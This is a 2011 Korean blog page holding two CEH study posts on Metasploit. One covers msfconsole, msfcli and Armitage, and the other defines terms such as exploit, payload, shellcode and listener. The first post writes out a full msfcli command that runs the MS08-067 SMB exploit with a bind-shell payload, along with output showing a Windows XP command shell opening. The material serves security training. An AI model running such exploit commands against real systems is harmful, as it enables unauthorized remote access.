'shellcode'에 해당되는 글 2건

  1. 2011.11.16 CEH Chap 8. Metasploit 2. 실행
  2. 2011.11.15 CEH Chap 7. Metasploit 1. 용어정리
보안vs해킹2011. 11. 16. 03:48

MSFconsole: Metasploit Framework에서 가장 핵심이 되는 부분으로써 가장 안정적이고 많은 기능을 제공하는 툴중에 하나이다. msfconsoleMetasploit Framework에서 제공할 수 있는 모든 옵션을 구현가능하고 이 툴 하나만으로 exploit을 실행하거나, auxiliary modules을 실행하거나 하는 등의 모든 기능을 수행해 낼수 있다. 기본적으로 Metasploit Framework은 계속적으로 업데이트되면서 발전해나가는 툴이지만 msfconsole은 항상 변하지 않는 중요한 역할을 한다. 기본적인 msfconsole의 기능을 익힘으로써 다른 업데이트의 기능을 손쉽게 적용시킬수 있다. 아마도 이 msfconsole에 대한 이야기는 계속 하게 될듯하다.

MSFconsole의 실행: 컴멘드에서 (물론 백트랙5에서) msfconsole을 친다.

root@bt:/# cd /opt/framework3/msf3/
root@bt:/opt/framework/msf3# msfconsole
< metasploit >
------------
  \ ,__,
  \ (oo)____
      (__) )\
      ||--|| *
msf >

help명령어를 통해 기본적인 명령어들을 익힐 수 있다.

MSFcli: msfclimsfconsole는 Framework에 접속하는데 서로 다른 방법을 사용한다. msfconsole은 사용자적인 측면에서 모든 기능에 대한 접근이 가능하다면 msfcli는 다른 콘솔툴과의 스크립팅하는데 중심이 되어 있다. Framework에 값을 전달해주는 것이 아니라 컴멘드를 통해 다른 콘솔들과의 직접적인 연결을 가능하게 해준다. 또한 exploit와 auxiliary modules의 실행을 지원하고 또한 modules을 테스트할때에도 유용하게 사용된다. 만약 여러분이 정확히 어떠한 툴과 어떠한 기능을 사용할지에 대해 알고 있다면 msfclimsfconsole보다 확실히 여러분의 작업을 수행하는데 도움을 줄 것이다.

root@bt:/opt/framework3/msf3# msfcli -h
Usage: /opt/framework3/msf3/msfcli <exploit_name> <option=value> [mode]
==============================================================================
Mode Description
---- ---------------
(H)elp You're looking at it, baby!
(S)ummary Show information about this module
(O)ptions Show available options for this module
(A)dvanced Show available advanced options for this module
(I)DS Evasion Show available ids evasion options for this module
(P)ayloads Show available payloads for this module
(T)argets Show available targets for this exploit module
(AC)tions Show available actions for this auxiliary module
(C)heck Run the check routine of the selected module
(E)xecute Execute the selected module
root@bt:/opt/framework3/msf3#


MSFcli 예제: 이제 msfcli의 사용법에 대해 간단히 알아보겠다. 여러분이 Metasploit을 사용중에 어려움에 부딧힐때 옵션 O를 통해 많은 도움을 받을 수 있다. 예를 들어 아래와 같이 ms08_067_netapi를 사용할때 옵션 O를 붙이면,

root@bt:/# msfcli windows/smb/ms08_067_netapi O
[*] Please wait while we load the module tree...
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 0.0.0.0 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)


ms_08_067_netapi가 RHOST, RPORT, SMBPIPE의 세가지 옵션을 필요로 함을 알 수 있다. 또한 옵션 p를 사용함으로 사용가능한 payload를 알 수 있다.

root@bt:/# msfcli windows/smb/ms08_067_netapi RHOST=192.168.1.155 P
[*] Please wait while we load the module tree...
Metasploit Basics 11
Compatible payloads
===================
Name Description
---- -----------
generic/debug_trap Generate a debug trap in the target process
generic/shell_bind_tcp Listen for a connection and spawn a command shell





필요한 옵션과 payload를 설정해 준 후 우리는 옵션 E를 통해서 msfcli를 실행할 수 있다.

root@bt:/# msfcli windows/smb/ms08_067_netapi RHOST=192.168.1.155 PAYLOAD=windows/shell/bind_tcp E
[*] Please wait while we load the module tree...
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (240 bytes)
[*] Command shell session 1 opened (192.168.1.101:46025 -> 192.168.1.155:4444)
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>


아래 윈도우 화면은 타겟 호스트이므로 이 exploit이 성공했음을 알 수 있다.

Armitage: armitage는 그래픽버전의 Metasploit라고 보면 된다. 물론 공짜이고 풍부한 기능과 편리성을 가지고 있다. 하지만 비록 armitage가 강력한 툴임은 사실이지만 컴멘드를 배우지 않고 클릭클릭만 배우다 보면 스크립트키디의 레벨을 벗어날 수 없으므로 armitage에 대한 설명은 하지 않고 넘어가겠다. 개인적으로도 nmap보다 zenmap사용후에 좀 더 기능을 효과적으로 사용하는데 한계를 느꼈다.

Armitage의 사용: armitage를 타이핑해주면 armitage가 실행된다. (물론 백트랙5에서 말이다.) armitage실행후 Attacks-Browser Attacks-windows 를 통해서 다양한 기능을 사용할 수 있음을 알 수 있다.

Posted by 구텐모르겐
보안vs해킹2011. 11. 15. 13:17



Metasploit
는 타겟호스트의 취약점을 알아내고 그 해당 취약점에 대한 침투방법을 제공하는 프로그램이다. Metasploit는 너무 방대해서 얼마나 많은 강좌가 이뤄질지 알 수 없지만 아마도 30일정도는 Metasploit에 대해서만 얘기할 거 같다. 오늘은 Metasploit에서 쓰이는 용어를 정리해 보겠다.


Exploit: 공격자에 의해 행해지는 방법으로 시스템이나 어플리케이션, 서비스등의 결점을 이용하여 공격하여 개발자가 의도치 않았던 목적을 달성하는데 있다. 기본적으로 buffer overflow, web application 취약점분석, SQL injection 등의 공격을 들 수 있다.

Payload: 소스코드로써 시스템에 실행시켜서 원하는 결과를 얻어낼 수 있다. 예를 들어 reverse shell은 payload중의 하나로 윈도우 시스템과 연결을 시켜주는 코드이고 bind shell은 타겟 호스트의 포트를 리스닝모드로 만들어 공격자가 연결할 수 있게 해준다. Payload는 타겟 호스트에 간단한 몇개의 컴멘드만으로도 구성이 가능하다.



Shellcode: 공격이 행해질때 payload에 의해 사용되어지는 툴의 집합정도로 보면 된다. 어셈블리 언어로 만들어지며 대부분 commend shell이나 Meterpreter shell같은 코드들이 타겟호스트에 의해 실행되어진다.

Module: 이는 Metasploit Framework에서 쓰여지는 작은 프로그램이라고 보면 된다. exploit module이나 auxiliary module과 같은 형태로 사용되어지며 이러한 자그마한 툴들이 모여서 Metasploit를 강력하게 만든다.

Listener: Metasploit에서 사용되어지는 컴퍼넌트로 연결을 기다리는 역할을 한다. 예를 들어 타겟호스트가 공격에 노출되었을 때 공격자가 연결을 할 수 있게 도와주는 컴퍼넌트이다.

다음에는 Metasploit Framework의 구성요소에 대해 알아보겠다.

'보안vs해킹' 카테고리의 다른 글

CEH Chap 9. Metasploit의 기능  (0) 2011.11.17
CEH Chap 8. Metasploit 2. 실행  (0) 2011.11.16
CEH Chap 6. OpenVAS 2/2  (0) 2011.11.12
CEH Chap 5. OpenVAS 1/2  (0) 2011.11.11
CEH Chap 4. Zenmap  (0) 2011.11.10
Posted by 구텐모르겐